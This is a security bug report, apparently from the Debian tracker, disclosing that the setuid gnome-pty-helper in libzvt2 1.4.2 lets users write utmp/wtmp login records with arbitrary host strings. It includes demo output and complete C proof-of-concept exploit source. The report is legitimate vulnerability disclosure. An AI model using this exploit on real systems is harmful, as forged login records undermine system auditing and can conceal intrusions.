Comment 0 for bug 22052

Revision history for this message
In , Paul Szabo (psz-maths) wrote : /usr/sbin/gnome-pty-helper: writes arbitrary utmp records

Package: libzvt2
Version: 1.4.2-19
Severity: critical
File: /usr/sbin/gnome-pty-helper
Justification: root security hole

gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings. I am not sure if it can be tricked into erasing
existing records.

Demo output, code below.

Cheers,

Paul Szabo <email address hidden> http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of Sydney Australia

OUTPUT:

psz@savona:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep psz; sleep 6; who
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz pts/2 Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz pts/2 Sep 20 08:40 (xyz)
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T psz@savona -n psz@savona -sb -sl 10000 -ls
psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00 gnome-pty-helper-exploit xyz
psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00 gnome-pty-helper
psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux
[1]+ Done gnome-pty-helper-exploit xyz
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)

CODE:

/*
    Must be compiled against (within)
 gnome-libs-1.4.2/zvt
    because it uses *.h files from there.
    Code "stolen" from subshell.c .
*/

#include <sys/types.h>

#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG 4

/* Pid of the helper SUID process */
static pid_t helper_pid;

/* The socketpair used for the protocol */
int helper_socket_protocol [2];

/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];

#include <sys/socket.h>
#include <sys/uio.h>

static struct cmsghdr *cmptr;
#define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)

static int
receive_fd (int helper_fd)
{
 struct iovec iov [1];
 struct msghdr msg;
 char buf [32];

 iov [0].iov_base = buf;
 iov [0].iov_len = sizeof (buf);
 msg.msg_iov = iov;
 msg.msg_iovlen = 1;
 msg.msg_name = NULL;
 msg.msg_namelen = 0;

 if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
  return -1;
 msg.msg_control = (caddr_t) cmptr;
 msg.msg_controllen = CONTROLLEN;

 if (recvmsg (helper_fd, &msg, 0) <= 0)
  return -1;

 return *(int *) CMSG_DATA (cmptr);
}

static int
s_pipe (int fd [2])
{
 return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}

static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
 GnomePtyOps op;
 int result, n;
 void *tag;

 if (helper_pid == -1)
  return NULL;

 if (helper_pid == 0){
  if (s_pipe (helper_socket_protocol) == -1)
   return NULL;

  if (s_pipe (helper_socket_fdpassing) == -1){
   close (helper_socket_protocol [0]);
   close (helper_socket_protocol [1]);
   return NULL;
  }

  helper_pid = fork ();

  if (helper_pid == -1){
   close (helper_socket_protocol [0]);
   close (helper_socket_protocol [1]);
   close (helper_socket_fdpassing [0]);
   close (helper_socket_fdpassing [1]);
   return NULL;
  }

  if (helper_pid == 0){
   close (0);
   close (1);
   dup2 (helper_socket_protocol [1], 0);
   dup2 (helper_socket_fdpassing [1], 1);

   /* Close aliases */
   close (helper_socket_protocol [0]);
   close (helper_socket_protocol [1]);
   close (helper_socket_fdpassing [0]);
   close (helper_socket_fdpassing [1]);

   execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
   exit (1);
  } else {
   close (helper_socket_fdpassing [1]);
   close (helper_socket_protocol [1]);

   /*
    * Set the close-on-exec flag for the other
    * descriptors, these should never propagate
    * (otherwise gnome-pty-heler wont notice when
    * this process is killed).
    */
   fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
   fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
  }
 }
 op = GNOME_PTY_OPEN_NO_DB_UPDATE;

 if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
  if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
   op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
  else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
   op = GNOME_PTY_OPEN_PTY_UWTMP;
  else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
   op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
  else
   op = GNOME_PTY_OPEN_PTY_UTMP;
 } else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
  if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
   op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
  else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
   op = GNOME_PTY_OPEN_PTY_WTMP;
 } else
  if (update_wutmp & ZVT_TERM_DO_LASTLOG)
   op = GNOME_PTY_OPEN_PTY_LASTLOG;

 if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
  return NULL;

 n = read (helper_socket_protocol [0], &result, sizeof (result));
 if (n == -1 || n != sizeof (result)){
  helper_pid = 0;
  return NULL;
 }

 if (result == 0)
  return NULL;

 n = read (helper_socket_protocol [0], &tag, sizeof (tag));

 if (n == -1 || n != sizeof (tag)){
  helper_pid = 0;
  return NULL;
 }

 *master = receive_fd (helper_socket_fdpassing [0]);
 *slave = receive_fd (helper_socket_fdpassing [0]);

 return tag;
}

int main (int argc, char* argv[])
{
 int slave_pty, master_pty;
 void* mytag;
 int log = ZVT_TERM_DO_UTMP_LOG;
 char buf[1000];

printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);

 if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
  return;

sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

printf("Sleeping for 5 secs...\n");
sleep (5);
}

-- System Information:
Debian Release: 3.1
Architecture: i386 (i686)
Kernel: Linux 2.6.8-spm0.5
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)

Versions of packages libzvt2 depends on:
ii gdk-imlib1 1.9.14-16.2 imaging library for use with gtk (
ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an
ii libglib1.2 1.2.10-9 The GLib library of C routines
ii libgtk1.2 1.2.10-17 The GIMP Toolkit set of widgets fo
ii libx11-6 4.3.0.dfsg.1-14 X Window System protocol client li
ii xlibs 4.3.0.dfsg.1-14 X Keyboard Extension (XKB) configu
ii zlib1g 1:1.2.2-4.sarge.2 compression library - runtime

-- no debconf information